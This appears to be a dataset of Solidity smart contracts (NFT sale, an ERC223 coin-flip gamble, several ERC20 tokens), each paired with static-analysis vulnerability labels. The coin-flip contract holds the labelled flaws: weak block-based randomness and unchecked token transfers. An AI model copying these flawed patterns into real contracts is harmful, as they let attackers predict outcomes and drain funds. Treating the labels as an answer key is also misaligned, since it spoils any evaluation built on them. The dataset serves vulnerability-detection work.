* @dev MINT DATA
*/
uint256 public maxSupply = 50;
uint256 public minted = 0;
uint256 public constant mintPrice = 0.12 * 10**18;
uint256 public constant mintStart = 1644465520;
uint256 public constant mintEnd = 1645243120;
uint256 public constant maxMintPerWallet = 1;
mapping(address => uint256) public addressToMints;
/**
* @dev Events
*/
event ReceivedEther(address indexed sender, uint256 indexed amount);
event Purchase(address indexed buyer, uint256 indexed amount);
event setMaxSupplyEvent(uint256 indexed maxSupply);
event WithdrawAllEvent(address indexed to, uint256 amount);
constructor(address _nftaddress) Ownable() {
nft = INFTERC721(_nftaddress);
}
/**
* @dev SALE
*/
/**
* @notice Function to buy one or more NFTs.
*
* @param amount. The amount of NFTs to buy.
*/
function buy(uint256 amount) external payable {
/// @dev Verifies that user can mint based on the provided parameters.
require(address(nft) != address(0), "NFT SMART CONTRACT NOT SET");
require(block.timestamp >= mintStart, "SALE HASN'T STARTED YET");
require(block.timestamp < mintEnd, "SALE IS CLOSED");
require(amount > 0, "HAVE TO BUY AT LEAST 1");
require(
amount <= nft.maxMintPerTransaction(),
"CANNOT MINT MORE PER TX"
);
require(
addressToMints[_msgSender()] + amount <= maxMintPerWallet,
"MINT AMOUNT EXCEEDS MAX FOR USER"
);
require(
minted + amount <= maxSupply,
"MINT AMOUNT GOES OVER MAX SUPPLY"
);
require(msg.value == mintPrice * amount, "ETHER SENT NOT CORRECT");
/// @dev Updates contract variables and mints `amount` NFTs to users wallet
minted += amount;
addressToMints[msg.sender] += amount;
nft.mintTo(amount, msg.sender);
emit Purchase(msg.sender, amount);
}
/**
* @dev OWNER ONLY
*/
/**
* @notice Change the maximum supply of NFTs that are for sale.
*
* @param newMaxSupply. The new max supply.
*/
function setMaxSupply(uint256 newMaxSupply) external onlyOwner {
maxSupply = newMaxSupply;
emit setMaxSupplyEvent(newMaxSupply);
}
/**
* @dev FINANCE
*/
/**
* @notice Allows owner to withdraw funds generated from sale.
*
* @param _to. The address to send the funds to.
*/
function withdrawAll(address _to) external onlyOwner {
require(_to != address(0), "CANNOT WITHDRAW TO ZERO ADDRESS");
uint256 contractBalance = address(this).balance;
require(contractBalance > 0, "NO ETHER TO WITHDRAW");
payable(_to).transfer(contractBalance);
emit WithdrawAllEvent(_to, contractBalance);
}
/**
* @dev Fallback function for receiving Ether
*/
receive() external payable {
emit ReceivedEther(msg.sender, msg.value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | No vulnerabilities found |
pragma solidity ^0.4.20;
/*
____
/\' .\ _____
/: \___\ / . /\
\' / . / /____/..\
\/___/ \' '\ /
\'__'\/
Developer: TechnicalRise
*/
contract PHXReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract PHXInterface {
function balanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function transfer(address _to, uint _value, bytes _data) public returns (bool);
}
contract PHXFlip is PHXReceivingContract {
address public constant PHXTKNADDR = 0x14b759A158879B133710f4059d32565b4a66140C;
PHXInterface public PHXTKN;
function PHXFlip() public {
PHXTKN = PHXInterface(PHXTKNADDR); // Initialize the PHX Contract
}
function tokenFallback(address _from, uint _value, bytes _data) public {
// Note that msg.sender is the Token Contract Address
// and "_from" is the sender of the tokens
require(_humanSender(_from)); // Check that this is a non-contract sender
require(_phxToken(msg.sender));
uint _possibleWinnings = 2 * _value;
// This doesn't require the PHX Balance to be greater than double the bet
// So check the contract's PHX Balance before wagering!
if(_prand(2) == 1) { // i.e. if it's "heads"
if(PHXTKN.balanceOf(this) >= _possibleWinnings) {
PHXTKN.transfer(_from, _possibleWinnings);
} else {
PHXTKN.transfer(_from,PHXTKN.balanceOf(this));
}
} else {
// And if you don't win, you just don't win, and it keeps your money
}
}
// This is a supercheap psuedo-random number generator
// that relies on the fact that "who" will mine and "when" they will
// mine is random. This is obviously vulnerable to "inside the block"
// attacks where someone writes a contract mined in the same block
// and calls this contract from it -- but we don't accept transactions
// from foreign contracts, lessening that risk
function _prand(uint _modulo) private view returns (uint) {
require((1 < _modulo) && (_modulo <= 10000)); // Keep it greater than 0, less than 10K.
uint seed1 = uint(block.coinbase); // Get Miner's Address
uint seed2 = now; // Get the timestamp
return uint(keccak256(seed1, seed2)) % _modulo;
}
function _phxToken(address _tokenContract) private pure returns (bool) {
return _tokenContract == PHXTKNADDR; // Returns "true" of this is the PHX Token Contract
}
// Determine if the "_from" address is a contract
function _humanSender(address _from) private view returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_from)
}
return (codeLength == 0); // If this is "true" sender is most likely a Wallet
}
} | These are the vulnerabilities found
1) constant-function-asm with Medium impact
2) weak-prng with High impact
3) incorrect-equality with Medium impact
4) unchecked-transfer with High impact |
pragma solidity ^0.4.18;
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract KLSToken is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name;
uint8 public decimals;
string public symbol;
function KLSToken(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | No vulnerabilities found |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TheGlobalBusinessChain {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 2;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 100000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "TheGlobalBusinessChain"; // Set the name for display purposes
symbol = "TGBC"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | No vulnerabilities found |
/** ########################################### DOO - King of teh Birds ################################################
####################################################### Fly Safe #######################################################
################################################################################################(######(((((((((((((((((
#######################################################################################((((##(((((@@((((((((((((((((((((
#######################################################################&@@@@@@@@@@@@@@@@@@@@@@%((((#@@((((((((((((((((((
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#############################################&@(%##/******,,,,,,,,,,******************************,,,,,,,@&(((((((((((((
#############################################(&@@((((************************#@@@@@@@@@#//(,@@@(****,,,,,,*@/(((((((((((
################################################@@@@(*******************&@@@@@%....,,,,,....#@@(*******,,,,,@(((((((((((
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################################################(@@***************&@@@@,,,,,,,,,,,,,#@@@@@......,(@@@*****,,,,@(((((((((
###########################################(((((@@**************&@@@,,,,,,,,,,*,(@@@@@@@@@*,,,,,,...,@@,****,,,@((((((((
#######################################(((((((((@@***********#@@@,,,,,,,,,,,@@@@@@@@@@(,&@,,,,,,,,,[email protected]@*****,,@((((((((
################################((((((((((((((((@&***(%&@@@@@@,,,,,,,,,*@@@@@@@@ && @,,,,,,,,,,,[email protected]@*****,,@#(((((((
#########################((((((((((((((((((((((#@@@@@@#,,,,,,,,,,,,,,,@@@@@& %,,,,,,,,,,,[email protected]@*****,,@&(((((((
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(((((%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/**%***************************@@ &#,,,,,,,,,,,,,,,,,*%@@(*****#@@((((((((((((((((
(((((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/************************%@@@ @,,,,,,************%@@(((*****@@((((((((((((((((((
(((((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/***************%@@@@& (@@@%**************(@@@&(((((*****@@@(((((((((((((((((((
(((((&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%(/**%(/@@@@@@@@@@@@@@@@@@@/*****%@@@@@@@@@@@&((((((((*****@@@(((((((((((((((((((((
((((((@@@@@@@@@@@@@@@@@@((((((((((((((((((((#@@@@@@@@@@@&@@#********@%((((@@@(((((((((((******@@&(((((((((((((((((((((((
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((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((@@((/****************#@@@@%###############################
((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((#@&(/**************#@@@&####################################
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((((((((((((((((((((((((((((((((((((((((((((((((###########@&**#&@@%####@@##############################################
(((((((((((((((((((((((((((((((((((((((##################%@@@###########################################################
((((((((((((((((((((((((((((((((########################################################################################
*/
pragma solidity ^0.4.24;
// SPDX-License-Identifier: Unlicensed
//Safe Math Interface
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
//ERC Token Standard #20 Interface
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
//Contract function to receive approval and execute function in one call
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
//Actual token contract
contract DOOToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "DOO";
name = "King Of Teh Birds";
decimals = 18;
_totalSupply = 888888888888888000000000000000000;
balances[0x19c21FbA1d225C6c56f8Ad5Dfc12E5f707D6190d] = _totalSupply;
emit Transfer(address(0), 0x19c21FbA1d225C6c56f8Ad5Dfc12E5f707D6190d, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Sample token contract
//
// Symbol : KDC
// Name : KudetaToken
// Total supply : 2000000000000
// Decimals : 4
// Owner Account : 0x6Ecd9f344F9e94EC5f81237bc44EfF018D489701
// (c) The Kudeta
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract KudetaToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// Constructor
constructor() public {
symbol = "KDC";
name = "KudetaToken";
decimals = 4;
_totalSupply = 2000000000000;
balances[0x6Ecd9f344F9e94EC5f81237bc44EfF018D489701] = _totalSupply;
emit Transfer(address(0), 0x6Ecd9f344F9e94EC5f81237bc44EfF018D489701, _totalSupply);
}
// Total supply
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// Get the token balance for account tokenOwner
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// Don't accept ETH
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
